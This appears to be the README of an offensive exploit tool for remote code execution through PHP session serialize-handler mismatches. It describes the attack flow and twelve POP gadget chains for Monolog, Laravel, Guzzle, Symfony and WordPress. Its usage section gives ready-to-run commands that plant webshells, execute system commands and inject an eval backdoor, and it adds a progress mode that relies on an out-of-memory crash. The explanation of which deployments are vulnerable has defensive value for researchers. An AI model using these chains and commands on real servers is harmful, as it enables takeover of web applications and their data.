Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
9.6 KiB
Session Deserialization RCE via Handler Mismatch
Remote code execution through PHP's session.serialize_handler mismatch.
No LFI required. No FPM dependency. Works on any SAPI.
How It Works
PHP supports multiple session serialization formats. The two relevant ones:
php(the default): stores session data askey|serialized_valuephp_serialize: stores session data as a singleserialize()d array
When one endpoint writes session data using php_serialize and another
reads it using the php handler, the pipe character | inside a
serialized string is misinterpreted as a key/value delimiter. This causes
PHP to call unserialize() on attacker-controlled data when
session_start() runs on the second endpoint.
Attack flow
1. Attacker POSTs to endpoint A (php_serialize handler):
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
2. PHP stores this in the session file as:
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
3. Attacker GETs endpoint B (php handler) with the same session ID.
session_start() reads the file and splits on |:
key = a:1:{s:4:"data";s:550:"
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
PHP calls unserialize() on the value.
4. The deserialized object's __destruct method fires,
triggering the POP gadget chain for RCE.
What makes a target vulnerable
The exploit requires ALL of the following:
-
Two endpoints with different session serialize handlers. One must use
php_serialize, the other must use the defaultphp. PHP's own default isphpfor both, so this mismatch only occurs when a framework or application explicitly changes the handler for some endpoints. -
Shared session storage. Both endpoints must read/write the same session files (same
session.save_path). This is the default when both run under the same PHP installation. -
A POP gadget chain in autoloaded classes. The deserialized objects must exist in classes that PHP has loaded (via autoloader or require). The chain must reach a dangerous sink (system(), file_put_contents(), etc.) through magic methods (__destruct, __wakeup, __toString, etc.).
Where this mismatch occurs in practice
-
Laravel sets
session.serialize_handler = php_serializein its session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin, admin scripts, health checks, legacy code) uses the PHP defaultphp. -
Symfony configures
php_serializeviaNativeSessionStorage. Adjacent applications on the same server may not. -
Shared hosting where multiple PHP applications share the same session save path but use different frameworks.
-
Mixed codebases where old and new code coexist on the same domain, with the new code using a framework and the old code using raw PHP sessions.
A single-application deployment where every endpoint uses the same handler is NOT vulnerable to this attack.
Injection Modes
inject (primary)
The target has an endpoint that stores POST data into $_SESSION using
the php_serialize handler. The attacker sends |<serialized_chain> as
a POST value. A second request to a php-handler endpoint triggers
deserialization.
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
progress (no app session storage needed)
Uses session.upload_progress to inject the | character via the upload
filename field. No application-level session writing needed. Combined with
the OOM crash from CVE-2026-109618 to persist past cleanup.
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain can only use public properties (no protected/private property serialization).
python3 exploit.py --mode progress \
--write-url http://target/any.php \
--trigger-url http://target/default.php \
--chain wordpress-cmd --cmd 'id'
Built-in POP Chains
Each chain is tested end-to-end through the full HTTP exploit flow on PHP 8.3 against the listed library version.
Current versions (work on latest releases)
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
monolog3-fw |
monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
laravel10-cmd |
illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
laravel10-fw |
illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
Legacy versions
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
monolog-cmd |
monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
monolog-fw |
monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
laravel-cmd |
illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
laravel-fw |
illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
guzzle-fw |
guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
symfony-cmd |
symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
symfony-fw |
symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
wordpress-cmd |
WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
wordpress-fw |
WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
Why some chains have version ceilings
-
Monolog 3.0+ introduced typed properties (
Monolog\Levelenum). The 2.x RCE1 chain sets$level = null, which throwsTypeErroron typed properties. The 3.x chain usesGroupHandler+DeduplicationHandlerinstead. -
Laravel 9.0+ changed
Dispatcher::dispatch()to wrap string listeners increateClassListener(), which calls$this->container->make()on a null container. The RCE22 chain routes throughleague/commonmarkEnvironmentinstead. -
Guzzle 8.0+ added
__unserialize()onFileCookieJarthat throwsLogicExceptionon deserialization. -
Symfony 4.4.19+ added
__wakeup()onWindowsPipesthat throwsBadMethodCallException. -
WordPress 6.4.2+ added
__wakeup()onWP_HTML_Tokenthat throwsLogicException. All other WP core gadget classes (FilteredIterator,Requests\Hooks) are also patched. No known POP chain exists in WordPress 7.x core.
Custom chains
Any phpggc chain works via --chain-file. Supports raw PHP serialized output
and base64 (auto-detected).
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain-file chain.bin
# Or base64:
phpggc Laravel/RCE22 system id -b > chain.b64
python3 exploit.py ... --chain-file chain.b64
Usage
# File write webshell (Monolog 3.x, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain monolog3-fw \
--write-path /var/www/html/shell.php
# Direct command execution (Laravel 10+, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
# Custom shell code:
python3 exploit.py ... --chain monolog3-fw \
--write-path /var/www/html/s.php \
--shell-code '<?php eval($_POST["x"]); ?>'
# Progress mode (no POST-to-session endpoint needed):
python3 exploit.py --mode progress \
--write-url http://target/any_endpoint.php \
--trigger-url http://target/default_handler.php \
--chain wordpress-cmd --cmd 'id'
Options
--mode {inject,progress} Injection mode (default: inject)
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
--write-url URL Any endpoint for progress mode injection
--trigger-url URL Endpoint using default php handler (triggers deserialization)
--chain CHAIN Built-in POP chain name
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
--write-path PATH File path for fw chains (webshell destination)
--shell-code CODE Custom PHP code for fw chains
--cmd CMD Command for cmd chains
--fields N OOM pressure fields for progress mode (default: 30000)
--field-size N Bytes per OOM field (default: 512)
Test Environment
The test endpoints used for verification:
test_serialize.php (inject endpoint, uses php_serialize):
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
test_trigger.php (trigger endpoint, uses default php handler):
<?php
require 'vendor/autoload.php'; // loads framework classes
session_start(); // deserializes session data
The mismatch between php_serialize on the first and php (default) on the
second is what enables the attack.